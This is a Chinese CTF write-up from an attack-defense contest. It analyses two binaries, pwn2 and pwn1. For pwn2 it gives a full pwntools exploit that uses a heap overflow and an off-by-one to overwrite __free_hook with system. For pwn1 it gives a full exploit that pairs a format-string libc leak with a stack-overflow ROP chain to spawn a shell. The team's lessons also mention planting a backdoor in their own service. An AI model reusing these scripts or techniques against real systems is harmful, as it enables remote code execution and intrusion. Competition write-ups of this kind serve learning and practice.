【pwn】2017-429final

前言

下次pwn选手真的不该去429线下。。这BGM神TM的= =。。

比赛很稳,主队拿了第7,分队第12,不过需要反思的是:

1、解pwn的速度还需要提升(awd形式尽早写出exp拿分很有优势)

2、web的话一定要防御住、防御住、防御住、重要的话说三遍。。

3、写好的exp脚本交由负责流量审计的队友来维护

4、pwn需要一个后门,不然遇到别人劫持了我们的exp流量就很吃亏了。

5、exp需要将getflag和uploadflag分开,并且分析本轮次没有拿到哪些队伍的flag

6、IDA分析不了的 ELF二进制文件就交给objdump来分析吧(静态分析软件也就这么几个,遇到二进制文件不能静态分析就惨了。

7、hook了pwn的read,但是别人没打我们队伍的pwn,估计是怕我们劫持流量。(摊手

8、十进制和十六进制。。。老是忘记在代码中区分。。ORZ

进入主题吧

pwn2

第一个开放的题目是pwn2,9点开放的比赛,我在10点10分左右已经将具体利用思路构思完毕(静态分析30分钟+动态分析40分钟),坑爹的是对libc文件进行分析的时候(因为我需要拿到free_hook的地址),IDA无法静态分析,这边消耗了两个小时,写完exp的时候已经是领盒饭12点了。。别人利用这个pwn2已经打了至少18轮,900分。。

pwn2是一个具有off by one和常规溢出漏洞的二进制程序,他创建的虚表结构如下

PTR[0]
|(Long int)hashcode Length|(char )Name|(char )Hash code|

PTR[1]
|(Long int)hashcode Length|(char )Name|(char )Hash code|

回过头我们看下这个二进制程序 Hashcode 的input函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall sub_4009DB(__int64 a1, int a2)
{
char v3; // [sp+1Bh] [bp-5h]@2
unsigned int i; // [sp+1Ch] [bp-4h]@1
for ( i = 0; ; ++i )
{
v3 = getchar();
if ( i == a2 )
break;
*(_BYTE *)(a1 + (signed int)i) = v3;
}
*(_BYTE *)((signed int)i + a1) = 0;
return i;
}

记得大一教我C语言的老师说过,C下标的索引是从0开始的,所以a[len(a)]=0 这样的形式会造成1个\x00字节越界赋值。正常来说,这样1个\x00字节,最多覆盖下一个虚表结构的preg_size的结构,但是存在另一个溢出漏洞,我们可以将hashcode的长度可输入长度进行修改(注意,hashcode的可输入区域长度没有变化),这便造成了越界溢出,溢出的数据覆盖到了下一个ptr虚表,利用过程如下(这个利用过程其实没有用到off by one)。

  • 以下版本没有用off by one 漏洞

1、创建四个0x20的hashcode

2、修改ptr[0]的hacode length 0x20至0x40

3、覆盖ptr[1]表项,复写ptr[1]表项的hashcode length至我们可以复写ptr[2]表项指向hashcode的指针,复写name指针,利用其我们可以泄露出libc地址。

4、list出所有ptr表项,得到libc地址

5、复写下下一个ptr表项指向hashcode指针,使其指向libc bss段上的free_hook,然后调用edit hashcode,修改 free_hook使其指向system

^以上的供读者自己实现,哈哈哈哈哈哈,我用的是比较麻烦的一个版本

用到off by one 的版本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-26 18:28:36
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils,time
import threading
from pwn import *
context(log_level="debug")
DEBUG = 1
target = "./pwn2"
remote_ip = "172.16.5.22"
port = 5009
rop = roputils.ROP(target)
# bss = rop.section('.bss')
# rop.got('puts')
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
elf = ELF("./libc.so.6")
if DEBUG:
p = process(target)
gdb.attach(p,"b*0x400C73\nc")
# gdb.attach(p,"b*0x400EF4\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
## stage 1 add hashcode 0x20 id 0
ru("option:\n")
sl("1")
ru("\n")
sl("md5")
ru("\n")
sl("aaa")
ru("t hashcode\n")
sl("a"*0x20)
## stage 2 add hashcode 0x20 id 1
ru("option:\n")
sl("1")
ru("\n")
sl("md5")
ru("\n")
sl("aaa")
ru("t hashcode\n")
sl("a"*0x20)
## end add hashcode 0x20 id 2
ru("option:\n")
sl("1")
ru("\n")
sl("md5")
ru("\n")
sl("/bin/sh\x00")
ru("t hashcode\n")
sl("a"*0x20)
## stage 3 change hashcode length id 0
ru("option:\n")
sl("3")
ru("\n")
sl("0")
ru("option:\n")
sl("1")
ru(" hash type\n")
sl("sha256") #change length 0x20 to 0x40
## stage 4 edit hashcode
ru("option:\n")
sl("3")
ru("\n")
sl("0")
ru("option:\n")
sl("3")
ru("hcode\n")
payload = "a"*0x20
payload += p64(0)+p64(21)+p64(0x20-1)+p64(0)
sl(payload)
## stage 5 edit chunk id 0
ru("option:\n")
sl("3")
ru("\n")
sl("1")
ru("option:\n")
sl("3")
ru("hcode\n")
payload = p64(0)+p64(21)+p64(0x20)+p64(rop.got('puts'))[:-1]
sl(payload)
## stage 6 leak system addr
ru("option:\n")
sl("4")
ru("\n")
sl("md5")
ru("input pattern\n")
sl("a"*0x20)
ru("name=")
puts_addr = u64(ru("\nhashcode")[:5].ljust(8,"\x00"))
print "puts_addr="+hex(puts_addr)
system_addr = puts_addr-(elf.symbols["puts"]-elf.symbols["system"])
print "system_addr="+hex(system_addr)
free_hook_addr = puts_addr+(0x00000035f79906e8 - elf.symbols["puts"])
print "free_hook_addr="+hex(free_hook_addr)
## edit atoi to system
## stage 7 edit chunk id 0
ru("option:\n")
sl("3")
ru("\n")
sl("1")
ru("option:\n")
sl("3")
ru("hcode\n")
payload = p64(0)+p64(21)+p64(0x48-1)+p64(rop.got('puts'))[:-1]
sl(payload)
## stage 8 edit chunk id 1
ru("option:\n")
sl("3")
ru("\n")
sl("0")
ru("option:\n")
sl("3")
ru("hcode\n")
payload = "a"*0x20
payload += p64(0)+p64(21)+p64(0x8-1)+p64(0)+p64(free_hook_addr)[:-1]
sl(payload)
## stage 9 edit free_hook to system
ru("option:\n")
sl("3")
ru("\n")
sl("1")
ru("option:\n")
sl("3")
ru("hcode\n")
sl(p64(system_addr)[:-1])
# stage 10 system
ru("option:\n")
sl("2")
ru("\n")
sl("2")
p.interacive()

pwn1

该pwn程序存在两个漏洞,一个是格式化字符串漏洞,一个是栈溢出漏洞,我们可以利用格式化字符串漏洞泄露libc地址,然后利用栈溢出漏洞,构造ropchain,实现shell的获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-26 21:39:25
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils
import binascii
from pwn import *
context(log_level="debug")
DEBUG = 0
target = "./pwn1"
remote_ip = "172.16.5.43"
port = 5011
rop = roputils.ROP(target)
elf = ELF(target)
# libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# bss = rop.section('.bss')
# rop.got('puts')
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
if DEBUG:
p = process(target)
# gdb.attach(p,"b*0x0400C84\nc")
# gdb.attach(p,"b*0x400EF4\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
payload = "%19$llX"
binhex = binascii.b2a_hex(payload)
# print binhex
ru(" exit\n")
sl("3")
ru("\n")
sl("0"*(len(binhex)))
ru("\n")
sl(binhex)
ru("sult is: \n")
libc_start_addr = int(ru("Please ")[:len("7f041e5cda")],16) - 240
# print len(libc_start_addr)
print "libc_start_addr="+hex(libc_start_addr)
libc_base = libc_start_addr - 0x1ec20
system_addr = libc_base+libc.symbols["system"]
print "system_addr="+hex(system_addr)
_binsh = libc_base+0x155e43
print "_binsh="+hex(_binsh)
# _binsh = libc_base+0x18C385
ru(" exit\n")
sl("1")
ru("urn\n")
sl("a")
ru("\n")
payload = p64(system_addr)+p64(0)+p64(_binsh)
payload = binascii.b2a_hex(payload)
sl("a"*0x90+payload)
p.interactive()

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. pwn2
  3. 3. pwn1
,
隐藏